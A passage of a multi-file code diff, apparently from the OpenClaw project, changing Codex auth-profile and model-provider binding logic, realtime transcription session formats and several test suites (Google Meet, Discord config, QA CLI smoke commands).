agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({ version: 1, profiles: {} });
agentRuntimeMocks.resolveAuthProfileOrder.mockReturnValue([]);
agentRuntimeMocks.resolveOpenClawAgentDir.mockReturnValue("/agent");
agentRuntimeMocks.resolveProviderIdForAuth.mockImplementation((provider: string) => provider);
});
it("uses the default Codex auth profile and omits the public OpenAI provider for new binds", async () => {
const sessionFile = path.join(tempDir, "session.jsonl");
const config = { auth: { order: { "openai-codex": ["openai-codex:default"] } } };
const requests: Array<{ method: string; params: Record<string, unknown> }> = [];
agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({
version: 1,
profiles: {
"openai-codex:default": {
type: "oauth",
provider: "openai-codex",
access: "access-token",
},
},
});
agentRuntimeMocks.resolveAuthProfileOrder.mockReturnValue(["openai-codex:default"]);
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
request: vi.fn(async (method: string, requestParams: Record<string, unknown>) => {
requests.push({ method, params: requestParams });
return {
thread: { id: "thread-new", cwd: tempDir },
model: "gpt-5.4-mini",
};
}),
});
await startCodexConversationThread({
config: config as never,
sessionFile,
workspaceDir: tempDir,
model: "gpt-5.4-mini",
modelProvider: "openai",
});
expect(agentRuntimeMocks.resolveAuthProfileOrder).toHaveBeenCalledWith(
expect.objectContaining({ cfg: config, provider: "openai-codex" }),
);
expect(sharedClientMocks.getSharedCodexAppServerClient).toHaveBeenCalledWith(
expect.objectContaining({ authProfileId: "openai-codex:default" }),
);
expect(requests).toHaveLength(1);
expect(requests[0]).toMatchObject({
method: "thread/start",
params: expect.objectContaining({ model: "gpt-5.4-mini" }),
});
expect(requests[0]?.params).not.toHaveProperty("modelProvider");
await expect(fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8")).resolves.toContain(
'"authProfileId": "openai-codex:default"',
);
});
it("preserves Codex auth and omits the public OpenAI provider for native bind threads", async () => {
const sessionFile = path.join(tempDir, "session.jsonl");
agentRuntimeMocks.ensureAuthProfileStore.mockReturnValue({
version: 1,
profiles: {
work: {
type: "oauth",
provider: "openai-codex",
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
},
},
});
await fs.writeFile(
`${sessionFile}.codex-app-server.json`,
JSON.stringify({
schemaVersion: 1,
threadId: "thread-old",
cwd: tempDir,
authProfileId: "work",
modelProvider: "openai",
}),
);
const requests: Array<{ method: string; params: Record<string, unknown> }> = [];
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
request: vi.fn(async (method: string, requestParams: Record<string, unknown>) => {
requests.push({ method, params: requestParams });
return {
thread: { id: "thread-new", cwd: tempDir },
model: "gpt-5.4-mini",
modelProvider: "openai",
};
}),
});
await startCodexConversationThread({
sessionFile,
workspaceDir: tempDir,
model: "gpt-5.4-mini",
modelProvider: "openai",
});
expect(sharedClientMocks.getSharedCodexAppServerClient).toHaveBeenCalledWith(
expect.objectContaining({ authProfileId: "work" }),
);
expect(requests).toHaveLength(1);
expect(requests[0]).toMatchObject({
method: "thread/start",
params: expect.objectContaining({ model: "gpt-5.4-mini" }),
});
expect(requests[0]?.params).not.toHaveProperty("modelProvider");
await expect(fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8")).resolves.toContain(
'"authProfileId": "work"',
);
await expect(
fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8"),
).resolves.not.toContain('"modelProvider": "openai"');
});
it("clears the Codex app-server sidecar when a pending bind is denied", async () => {
const sessionFile = path.join(tempDir, "session.jsonl");
const sidecar = `${sessionFile}.codex-app-server.json`;
@@ -73,4 +219,76 @@ describe("codex conversation binding", () => {
expect(result).toEqual({ handled: true });
});
it("returns a clean failure reply when app-server turn start rejects", async () => {
const sessionFile = path.join(tempDir, "session.jsonl");
await fs.writeFile(
`${sessionFile}.codex-app-server.json`,
JSON.stringify({
schemaVersion: 1,
threadId: "thread-1",
cwd: tempDir,
authProfileId: "openai-codex:work",
}),
);
const unhandledRejections: unknown[] = [];
const onUnhandledRejection = (reason: unknown) => {
unhandledRejections.push(reason);
};
process.on("unhandledRejection", onUnhandledRejection);
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
request: vi.fn(async (method: string) => {
if (method === "turn/start") {
throw new Error(
"unexpected status 401 Unauthorized: Missing bearer or basic authentication in header",
);
}
throw new Error(`unexpected method: ${method}`);
}),
addNotificationHandler: vi.fn(() => () => undefined),
addRequestHandler: vi.fn(() => () => undefined),
});
try {
const result = await handleCodexConversationInboundClaim(
{
content: "hi",
bodyForAgent: "hi",
channel: "telegram",
isGroup: false,
commandAuthorized: true,
},
{
channelId: "telegram",
pluginBinding: {
bindingId: "binding-1",
pluginId: "codex",
pluginRoot: tempDir,
channel: "telegram",
accountId: "default",
conversationId: "5185575566",
boundAt: Date.now(),
data: {
kind: "codex-app-server-session",
version: 1,
sessionFile,
workspaceDir: tempDir,
},
},
},
{ timeoutMs: 50 },
);
await new Promise<void>((resolve) => setImmediate(resolve));
expect(result).toEqual({
handled: true,
reply: {
text: "Codex app-server turn failed: unexpected status 401 Unauthorized: Missing bearer or basic authentication in header",
},
});
expect(unhandledRejections).toEqual([]);
} finally {
process.off("unhandledRejection", onUnhandledRejection);
}
});
});

View File

@@ -5,6 +5,7 @@ import type {
PluginHookInboundClaimEvent,
} from "openclaw/plugin-sdk/plugin-entry";
import type { ReplyPayload } from "openclaw/plugin-sdk/reply-payload";
import { resolveCodexAppServerAuthProfileIdForAgent } from "./app-server/auth-bridge.js";
import { CODEX_CONTROL_METHODS } from "./app-server/capabilities.js";
import {
codexSandboxPolicyForTurn,
@@ -18,8 +19,11 @@ import {
} from "./app-server/protocol.js";
import {
clearCodexAppServerBinding,
isCodexAppServerNativeAuthProfile,
normalizeCodexAppServerBindingModelProvider,
readCodexAppServerBinding,
writeCodexAppServerBinding,
type CodexAppServerAuthProfileLookup,
} from "./app-server/session-binding.js";
import { getSharedCodexAppServerClient } from "./app-server/shared-client.js";
import {
@@ -47,11 +51,13 @@ type CodexConversationRunOptions = {
type CodexConversationStartParams = {
pluginConfig?: unknown;
config?: Parameters<typeof resolveCodexAppServerAuthProfileIdForAgent>[0]["config"];
sessionFile: string;
workspaceDir?: string;
threadId?: string;
model?: string;
modelProvider?: string;
authProfileId?: string;
};
type BoundTurnResult = {
@@ -77,6 +83,13 @@ export async function startCodexConversationThread(
): Promise<CodexConversationBindingData> {
const workspaceDir =
params.workspaceDir?.trim() || resolveCodexDefaultWorkspaceDir(params.pluginConfig);
const existingBinding = await readCodexAppServerBinding(params.sessionFile, {
config: params.config,
});
const authProfileId = resolveCodexAppServerAuthProfileIdForAgent({
authProfileId: params.authProfileId ?? existingBinding?.authProfileId,
config: params.config,
});
if (params.threadId?.trim()) {
await attachExistingThread({
pluginConfig: params.pluginConfig,
@@ -85,6 +98,8 @@ export async function startCodexConversationThread(
workspaceDir,
model: params.model,
modelProvider: params.modelProvider,
authProfileId,
config: params.config,
});
} else {
await createThread({
@@ -93,6 +108,8 @@ export async function startCodexConversationThread(
workspaceDir,
model: params.model,
modelProvider: params.modelProvider,
authProfileId,
config: params.config,
});
}
return createCodexConversationBindingData({
@@ -158,18 +175,26 @@ async function attachExistingThread(params: {
workspaceDir: string;
model?: string;
modelProvider?: string;
authProfileId?: string;
config?: CodexAppServerAuthProfileLookup["config"];
}): Promise<void> {
const runtime = resolveCodexAppServerRuntimeOptions({ pluginConfig: params.pluginConfig });
const modelProvider = resolveThreadRequestModelProvider({
authProfileId: params.authProfileId,
modelProvider: params.modelProvider,
config: params.config,
});
const client = await getSharedCodexAppServerClient({
startOptions: runtime.start,
timeoutMs: runtime.requestTimeoutMs,
authProfileId: params.authProfileId,
});
const response: CodexThreadResumeResponse = await client.request(
CODEX_CONTROL_METHODS.resumeThread,
{
threadId: params.threadId,
...(params.model ? { model: params.model } : {}),
...(params.modelProvider ? { modelProvider: params.modelProvider } : {}),
...(modelProvider ? { modelProvider } : {}),
approvalPolicy: runtime.approvalPolicy,
approvalsReviewer: runtime.approvalsReviewer,
sandbox: runtime.sandbox,
@@ -179,15 +204,26 @@ async function attachExistingThread(params: {
{ timeoutMs: runtime.requestTimeoutMs },
);
const thread = response.thread;
await writeCodexAppServerBinding(params.sessionFile, {
threadId: thread.id,
cwd: thread.cwd ?? params.workspaceDir,
model: response.model ?? params.model,
modelProvider: response.modelProvider ?? params.modelProvider,
approvalPolicy: runtime.approvalPolicy,
sandbox: runtime.sandbox,
serviceTier: runtime.serviceTier,
});
await writeCodexAppServerBinding(
params.sessionFile,
{
threadId: thread.id,
cwd: thread.cwd ?? params.workspaceDir,
authProfileId: params.authProfileId,
model: response.model ?? params.model,
modelProvider: normalizeCodexAppServerBindingModelProvider({
config: params.config,
authProfileId: params.authProfileId,
modelProvider: response.modelProvider ?? params.modelProvider,
}),
approvalPolicy: runtime.approvalPolicy,
sandbox: runtime.sandbox,
serviceTier: runtime.serviceTier,
},
{
config: params.config,
},
);
}
async function createThread(params: {
@@ -196,18 +232,26 @@ async function createThread(params: {
workspaceDir: string;
model?: string;
modelProvider?: string;
authProfileId?: string;
config?: CodexAppServerAuthProfileLookup["config"];
}): Promise<void> {
const runtime = resolveCodexAppServerRuntimeOptions({ pluginConfig: params.pluginConfig });
const modelProvider = resolveThreadRequestModelProvider({
authProfileId: params.authProfileId,
modelProvider: params.modelProvider,
config: params.config,
});
const client = await getSharedCodexAppServerClient({
startOptions: runtime.start,
timeoutMs: runtime.requestTimeoutMs,
authProfileId: params.authProfileId,
});
const response: CodexThreadStartResponse = await client.request(
"thread/start",
{
cwd: params.workspaceDir,
...(params.model ? { model: params.model } : {}),
...(params.modelProvider ? { modelProvider: params.modelProvider } : {}),
...(modelProvider ? { modelProvider } : {}),
approvalPolicy: runtime.approvalPolicy,
approvalsReviewer: runtime.approvalsReviewer,
sandbox: runtime.sandbox,
@@ -219,15 +263,26 @@ async function createThread(params: {
},
{ timeoutMs: runtime.requestTimeoutMs },
);
await writeCodexAppServerBinding(params.sessionFile, {
threadId: response.thread.id,
cwd: response.thread.cwd ?? params.workspaceDir,
model: response.model ?? params.model,
modelProvider: response.modelProvider ?? params.modelProvider,
approvalPolicy: runtime.approvalPolicy,
sandbox: runtime.sandbox,
serviceTier: runtime.serviceTier,
});
await writeCodexAppServerBinding(
params.sessionFile,
{
threadId: response.thread.id,
cwd: response.thread.cwd ?? params.workspaceDir,
authProfileId: params.authProfileId,
model: response.model ?? params.model,
modelProvider: normalizeCodexAppServerBindingModelProvider({
config: params.config,
authProfileId: params.authProfileId,
modelProvider: response.modelProvider ?? params.modelProvider,
}),
approvalPolicy: runtime.approvalPolicy,
sandbox: runtime.sandbox,
serviceTier: runtime.serviceTier,
},
{
config: params.config,
},
);
}
async function runBoundTurn(params: {
@@ -342,10 +397,30 @@ function enqueueBoundTurn<T>(key: string, run: () => Promise<T>): Promise<T> {
() => undefined,
);
state.queues.set(key, queued);
void next.finally(() => {
if (state.queues.get(key) === queued) {
state.queues.delete(key);
}
});
void next
.finally(() => {
if (state.queues.get(key) === queued) {
state.queues.delete(key);
}
})
.catch(() => undefined);
return next;
}
function resolveThreadRequestModelProvider(params: {
authProfileId?: string;
modelProvider?: string;
config?: CodexAppServerAuthProfileLookup["config"];
}): string | undefined {
const modelProvider = params.modelProvider?.trim();
if (!modelProvider || modelProvider.toLowerCase() === "codex") {
return undefined;
}
if (
isCodexAppServerNativeAuthProfile(params) &&
(modelProvider.toLowerCase() === "openai" || modelProvider.toLowerCase() === "openai-codex")
) {
return undefined;
}
return modelProvider.toLowerCase() === "openai-codex" ? "openai" : modelProvider;
}

View File

@@ -1,24 +1,37 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { clearRuntimeAuthProfileStoreSnapshots } from "openclaw/plugin-sdk/agent-runtime";
import { upsertAuthProfile } from "openclaw/plugin-sdk/provider-auth";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import {
readCodexAppServerBinding,
writeCodexAppServerBinding,
} from "./app-server/session-binding.js";
import {
setCodexConversationFastMode,
setCodexConversationModel,
setCodexConversationPermissions,
} from "./conversation-control.js";
let tempDir: string;
const sharedClientMocks = vi.hoisted(() => ({
getSharedCodexAppServerClient: vi.fn(),
}));
vi.mock("./app-server/shared-client.js", () => sharedClientMocks);
describe("codex conversation controls", () => {
beforeEach(async () => {
tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-control-"));
vi.stubEnv("OPENCLAW_STATE_DIR", tempDir);
sharedClientMocks.getSharedCodexAppServerClient.mockReset();
});
afterEach(async () => {
vi.unstubAllEnvs();
clearRuntimeAuthProfileStoreSnapshots();
await fs.rm(tempDir, { recursive: true, force: true });
});
@@ -47,4 +60,46 @@ describe("codex conversation controls", () => {
sandbox: "workspace-write",
});
});
it("does not persist public OpenAI provider after model changes on native auth bindings", async () => {
const sessionFile = path.join(tempDir, "session.jsonl");
upsertAuthProfile({
profileId: "work",
credential: {
type: "oauth",
provider: "openai-codex",
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
},
});
await writeCodexAppServerBinding(sessionFile, {
threadId: "thread-1",
cwd: tempDir,
authProfileId: "work",
model: "gpt-5.4",
modelProvider: "openai",
});
sharedClientMocks.getSharedCodexAppServerClient.mockResolvedValue({
request: vi.fn(async () => ({
thread: { id: "thread-1", cwd: tempDir },
model: "gpt-5.5",
modelProvider: "openai",
})),
});
await expect(setCodexConversationModel({ sessionFile, model: "gpt-5.5" })).resolves.toBe(
"Codex model set to gpt-5.5.",
);
const raw = await fs.readFile(`${sessionFile}.codex-app-server.json`, "utf8");
const binding = await readCodexAppServerBinding(sessionFile);
expect(raw).not.toContain('"modelProvider": "openai"');
expect(binding).toMatchObject({
threadId: "thread-1",
authProfileId: "work",
model: "gpt-5.5",
});
expect(binding?.modelProvider).toBeUndefined();
});
});

View File

@@ -232,6 +232,8 @@ function createDeepgramRealtimeTranscriptionSession(
reconnectDelayMs: DEEPGRAM_REALTIME_RECONNECT_DELAY_MS,
maxQueuedBytes: DEEPGRAM_REALTIME_MAX_QUEUED_BYTES,
connectTimeoutMessage: "Deepgram realtime transcription connection timeout",
connectClosedBeforeReadyMessage:
"Deepgram realtime transcription connection closed before ready",
reconnectLimitMessage: "Deepgram realtime transcription reconnect limit reached",
sendAudio: (audio, transport) => {
transport.sendBinary(audio);

View File

@@ -75,6 +75,44 @@ describe("discord doctor", () => {
]);
});
it("normalizes legacy discord streaming progress config", () => {
const normalize = discordDoctor.normalizeCompatibilityConfig;
expect(normalize).toBeDefined();
if (!normalize) {
return;
}
const result = normalize({
cfg: {
channels: {
discord: {
streaming: {
mode: "partial",
progress: {
label: "Working",
maxLines: 3,
toolProgress: false,
},
},
},
},
} as never,
});
expect(result.config.channels?.discord).toEqual({
streaming: {
mode: "partial",
preview: {
toolProgress: false,
},
},
});
expect(result.changes).toEqual([
"Moved channels.discord.streaming.progress.toolProgress → channels.discord.streaming.preview.toolProgress.",
"Removed channels.discord.streaming.progress legacy object.",
]);
});
it("moves account voice.tts.edge into providers.microsoft", () => {
const normalize = discordDoctor.normalizeCompatibilityConfig;
expect(normalize).toBeDefined();

View File

@@ -1866,51 +1866,59 @@ describe("google-meet plugin", () => {
});
it("grants local Chrome Meet media permissions against the opened tab", async () => {
const originalPlatform = process.platform;
Object.defineProperty(process, "platform", { value: "darwin" });
const callGatewayFromCli = mockLocalMeetBrowserRequest({
inCall: true,
micMuted: false,
title: "Meet call",
url: "https://meet.google.com/abc-defg-hij",
});
const { methods } = setup({
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
},
realtime: { introMessage: "" },
});
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
try {
const { methods } = setup({
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
},
realtime: { introMessage: "" },
});
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(callGatewayFromCli).toHaveBeenCalledWith(
"browser.request",
expect.any(Object),
expect.objectContaining({
method: "POST",
path: "/permissions/grant",
body: expect.objectContaining({
origin: "https://meet.google.com",
permissions: ["audioCapture", "videoCapture"],
targetId: "local-meet-tab",
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(callGatewayFromCli).toHaveBeenCalledWith(
"browser.request",
expect.any(Object),
expect.objectContaining({
method: "POST",
path: "/permissions/grant",
body: expect.objectContaining({
origin: "https://meet.google.com",
permissions: ["audioCapture", "videoCapture"],
targetId: "local-meet-tab",
}),
}),
}),
{ progress: false },
);
{ progress: false },
);
} finally {
Object.defineProperty(process, "platform", { value: originalPlatform });
}
});
it("starts the local realtime audio bridge after Meet is inspected", async () => {
const originalPlatform = process.platform;
Object.defineProperty(process, "platform", { value: "darwin" });
const events: string[] = [];
const callGatewayFromCli = vi.fn(
async (
@@ -1951,43 +1959,51 @@ describe("google-meet plugin", () => {
},
);
chromeTransportTesting.setDepsForTest({ callGatewayFromCli });
const { methods } = setup(
{
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
try {
const { methods } = setup(
{
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
},
realtime: { introMessage: "" },
},
realtime: { introMessage: "" },
},
{
runCommandWithTimeoutHandler: async (argv) => {
events.push(`command:${argv.join(" ")}`);
return argv[0] === "/usr/sbin/system_profiler"
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
: { code: 0, stdout: "", stderr: "" };
{
runCommandWithTimeoutHandler: async (argv) => {
events.push(`command:${argv.join(" ")}`);
return argv[0] === "/usr/sbin/system_profiler"
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
: { code: 0, stdout: "", stderr: "" };
},
},
},
);
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
);
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(events.indexOf("browser:/act")).toBeGreaterThan(-1);
expect(events.indexOf("command:bridge start")).toBeGreaterThan(events.indexOf("browser:/act"));
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(events.indexOf("browser:/act")).toBeGreaterThan(-1);
expect(events.indexOf("command:bridge start")).toBeGreaterThan(
events.indexOf("browser:/act"),
);
} finally {
Object.defineProperty(process, "platform", { value: originalPlatform });
}
});
it("does not start the local realtime audio bridge while Meet admission is pending", async () => {
const originalPlatform = process.platform;
Object.defineProperty(process, "platform", { value: "darwin" });
const events: string[] = [];
const callGatewayFromCli = vi.fn(
async (
@@ -2028,41 +2044,45 @@ describe("google-meet plugin", () => {
},
);
chromeTransportTesting.setDepsForTest({ callGatewayFromCli });
const { methods } = setup(
{
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
waitForInCallMs: 1,
try {
const { methods } = setup(
{
defaultMode: "realtime",
defaultTransport: "chrome",
chrome: {
audioBridgeCommand: ["bridge", "start"],
waitForInCallMs: 1,
},
realtime: { introMessage: "" },
},
realtime: { introMessage: "" },
},
{
runCommandWithTimeoutHandler: async (argv) => {
events.push(`command:${argv.join(" ")}`);
return argv[0] === "/usr/sbin/system_profiler"
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
: { code: 0, stdout: "", stderr: "" };
{
runCommandWithTimeoutHandler: async (argv) => {
events.push(`command:${argv.join(" ")}`);
return argv[0] === "/usr/sbin/system_profiler"
? { code: 0, stdout: "BlackHole 2ch", stderr: "" }
: { code: 0, stdout: "", stderr: "" };
},
},
},
);
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
);
const handler = methods.get("googlemeet.join") as
| ((ctx: {
params: Record<string, unknown>;
respond: ReturnType<typeof vi.fn>;
}) => Promise<void>)
| undefined;
const respond = vi.fn();
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
await handler?.({
params: { url: "https://meet.google.com/abc-defg-hij" },
respond,
});
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(events).toContain("browser:/act");
expect(events).not.toContain("command:bridge start");
expect(respond.mock.calls[0]?.[0]).toBe(true);
expect(events).toContain("browser:/act");
expect(events).not.toContain("command:bridge start");
} finally {
Object.defineProperty(process, "platform", { value: originalPlatform });
}
});
it("refreshes observe-only caption health when status is requested", async () => {

View File

@@ -1,6 +1,6 @@
{
"name": "@openclaw/memory-lancedb",
"version": "2026.5.3",
"version": "2026.5.3-1",
"description": "OpenClaw LanceDB-backed long-term memory plugin with auto-recall/capture",
"repository": {
"type": "git",

View File

@@ -54,22 +54,17 @@ type SentRealtimeEvent = {
type: string;
audio?: string;
session?: {
type?: string;
audio?: {
input?: {
format?: { type?: string };
transcription?: {
model?: string;
language?: string;
prompt?: string;
};
turn_detection?: {
type?: string;
threshold?: number;
prefix_padding_ms?: number;
silence_duration_ms?: number;
};
};
input_audio_format?: string;
input_audio_transcription?: {
model?: string;
language?: string;
prompt?: string;
};
turn_detection?: {
type?: string;
threshold?: number;
prefix_padding_ms?: number;
silence_duration_ms?: number;
};
};
};
@@ -180,22 +175,17 @@ describe("buildOpenAIRealtimeTranscriptionProvider", () => {
{
type: "transcription_session.update",
session: {
type: "transcription",
audio: {
input: {
format: { type: "audio/pcmu" },
transcription: {
model: "gpt-4o-transcribe",
language: "en",
prompt: "expect OpenClaw product names",
},
turn_detection: {
type: "server_vad",
threshold: 0.45,
prefix_padding_ms: 300,
silence_duration_ms: 900,
},
},
input_audio_format: "g711_ulaw",
input_audio_transcription: {
model: "gpt-4o-transcribe",
language: "en",
prompt: "expect OpenClaw product names",
},
turn_detection: {
type: "server_vad",
threshold: 0.45,
prefix_padding_ms: 300,
silence_duration_ms: 900,
},
},
},
@@ -209,22 +199,17 @@ describe("buildOpenAIRealtimeTranscriptionProvider", () => {
{
type: "transcription_session.update",
session: {
type: "transcription",
audio: {
input: {
format: { type: "audio/pcmu" },
transcription: {
model: "gpt-4o-transcribe",
language: "en",
prompt: "expect OpenClaw product names",
},
turn_detection: {
type: "server_vad",
threshold: 0.45,
prefix_padding_ms: 300,
silence_duration_ms: 900,
},
},
input_audio_format: "g711_ulaw",
input_audio_transcription: {
model: "gpt-4o-transcribe",
language: "en",
prompt: "expect OpenClaw product names",
},
turn_detection: {
type: "server_vad",
threshold: 0.45,
prefix_padding_ms: 300,
silence_duration_ms: 900,
},
},
},

View File

@@ -138,6 +138,7 @@ function createOpenAIRealtimeTranscriptionSession(
maxReconnectAttempts: OPENAI_REALTIME_TRANSCRIPTION_MAX_RECONNECT_ATTEMPTS,
reconnectDelayMs: OPENAI_REALTIME_TRANSCRIPTION_RECONNECT_DELAY_MS,
connectTimeoutMessage: "OpenAI realtime transcription connection timeout",
connectClosedBeforeReadyMessage: "OpenAI realtime transcription connection closed before ready",
reconnectLimitMessage: "OpenAI realtime transcription reconnect limit reached",
sendAudio: (audio, transport) => {
transport.sendJson({
@@ -149,24 +150,17 @@ function createOpenAIRealtimeTranscriptionSession(
transport.sendJson({
type: "transcription_session.update",
session: {
type: "transcription",
audio: {
input: {
format: {
type: "audio/pcmu",
},
transcription: {
model: config.model,
...(config.language ? { language: config.language } : {}),
...(config.prompt ? { prompt: config.prompt } : {}),
},
turn_detection: {
type: "server_vad",
threshold: config.vadThreshold,
prefix_padding_ms: 300,
silence_duration_ms: config.silenceDurationMs,
},
},
input_audio_format: "g711_ulaw",
input_audio_transcription: {
model: config.model,
...(config.language ? { language: config.language } : {}),
...(config.prompt ? { prompt: config.prompt } : {}),
},
turn_detection: {
type: "server_vad",
threshold: config.vadThreshold,
prefix_padding_ms: 300,
silence_duration_ms: config.silenceDurationMs,
},
},
});

View File

@@ -394,6 +394,27 @@ describe("buildOpenAIRealtimeVoiceProvider", () => {
expect(bridge.isConnected()).toBe(false);
});
it("rejects connection when the socket closes before session readiness", async () => {
const provider = buildOpenAIRealtimeVoiceProvider();
const bridge = provider.createBridge({
providerConfig: { apiKey: "sk-test" }, // pragma: allowlist secret
onAudio: vi.fn(),
onClearAudio: vi.fn(),
});
const connecting = bridge.connect();
const socket = FakeWebSocket.instances[0];
if (!socket) {
throw new Error("expected bridge to create a websocket");
}
socket.readyState = FakeWebSocket.OPEN;
socket.emit("open");
socket.close(1006, "session closed");
await expect(connecting).rejects.toThrow("OpenAI realtime connection closed before ready");
expect(bridge.isConnected()).toBe(false);
});
it("can request PCM16 24 kHz realtime audio for Chrome command-pair bridges", async () => {
const provider = buildOpenAIRealtimeVoiceProvider();
const bridge = provider.createBridge({

View File

@@ -425,6 +425,10 @@ class OpenAIRealtimeVoiceBridge implements RealtimeVoiceBridge {
this.config.onClose?.("completed");
return;
}
if (!this.sessionConfigured && !settled) {
settleReject(new Error("OpenAI realtime connection closed before ready"));
return;
}
void this.attemptReconnect();
});
});

View File

@@ -49,7 +49,9 @@ const {
runQaSuiteCommand,
runQaTelegramCommand,
runMantisBeforeAfterCommand,
runMantisDesktopBrowserSmokeCommand,
runMantisDiscordSmokeCommand,
runMantisSlackDesktopSmokeCommand,
} = vi.hoisted(() => ({
runQaCredentialsAddCommand: vi.fn(),
runQaCredentialsListCommand: vi.fn(),
@@ -59,7 +61,9 @@ const {
runQaSuiteCommand: vi.fn(),
runQaTelegramCommand: vi.fn(),
runMantisBeforeAfterCommand: vi.fn(),
runMantisDesktopBrowserSmokeCommand: vi.fn(),
runMantisDiscordSmokeCommand: vi.fn(),
runMantisSlackDesktopSmokeCommand: vi.fn(),
}));
const { listQaRunnerCliContributions } = vi.hoisted(() => ({
@@ -78,7 +82,9 @@ vi.mock("./live-transports/telegram/cli.runtime.js", () => ({
vi.mock("./mantis/cli.runtime.js", () => ({
runMantisBeforeAfterCommand,
runMantisDesktopBrowserSmokeCommand,
runMantisDiscordSmokeCommand,
runMantisSlackDesktopSmokeCommand,
}));
vi.mock("./cli.runtime.js", () => ({
@@ -105,7 +111,9 @@ describe("qa cli registration", () => {
runQaSuiteCommand.mockReset();
runQaTelegramCommand.mockReset();
runMantisBeforeAfterCommand.mockReset();
runMantisDesktopBrowserSmokeCommand.mockReset();
runMantisDiscordSmokeCommand.mockReset();
runMantisSlackDesktopSmokeCommand.mockReset();
listQaRunnerCliContributions
.mockReset()
.mockReturnValue([createAvailableQaRunnerContribution()]);
@@ -208,6 +216,141 @@ describe("qa cli registration", () => {
});
});
it("routes mantis desktop browser smoke flags into the mantis runtime command", async () => {
await program.parseAsync([
"node",
"openclaw",
"qa",
"mantis",
"desktop-browser-smoke",
"--repo-root",
"/tmp/openclaw-repo",
"--output-dir",
".artifacts/qa-e2e/mantis/desktop-browser",
"--browser-url",
"https://openclaw.ai/docs",
"--html-file",
"qa-artifacts/timeline.html",
"--crabbox-bin",
"/tmp/crabbox",
"--provider",
"hetzner",
"--class",
"beast",
"--lease-id",
"cbx_123abc",
"--idle-timeout",
"30m",
"--ttl",
"90m",
"--keep-lease",
]);
expect(runMantisDesktopBrowserSmokeCommand).toHaveBeenCalledWith({
browserUrl: "https://openclaw.ai/docs",
crabboxBin: "/tmp/crabbox",
htmlFile: "qa-artifacts/timeline.html",
idleTimeout: "30m",
keepLease: true,
leaseId: "cbx_123abc",
machineClass: "beast",
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser",
provider: "hetzner",
repoRoot: "/tmp/openclaw-repo",
ttl: "90m",
});
});
it("does not shadow mantis desktop browser runtime env defaults", async () => {
await program.parseAsync([
"node",
"openclaw",
"qa",
"mantis",
"desktop-browser-smoke",
"--repo-root",
"/tmp/openclaw-repo",
]);
expect(runMantisDesktopBrowserSmokeCommand).toHaveBeenCalledWith({
browserUrl: undefined,
crabboxBin: undefined,
htmlFile: undefined,
idleTimeout: undefined,
keepLease: undefined,
leaseId: undefined,
machineClass: undefined,
outputDir: undefined,
provider: undefined,
repoRoot: "/tmp/openclaw-repo",
ttl: undefined,
});
});
it("routes mantis Slack desktop smoke flags into the mantis runtime command", async () => {
await program.parseAsync([
"node",
"openclaw",
"qa",
"mantis",
"slack-desktop-smoke",
"--repo-root",
"/tmp/openclaw-repo",
"--output-dir",
".artifacts/qa-e2e/mantis/slack-desktop",
"--crabbox-bin",
"/tmp/crabbox",
"--provider",
"hetzner",
"--machine-class",
"beast",
"--lease-id",
"cbx_123abc",
"--idle-timeout",
"45m",
"--ttl",
"120m",
"--slack-url",
"https://app.slack.com/client/T123/C123",
"--provider-mode",
"live-frontier",
"--model",
"openai/gpt-5.4",
"--alt-model",
"openai/gpt-5.4",
"--scenario",
"slack-canary",
"--credential-source",
"env",
"--credential-role",
"maintainer",
"--fast",
"--keep-lease",
]);
expect(runMantisSlackDesktopSmokeCommand).toHaveBeenCalledWith({
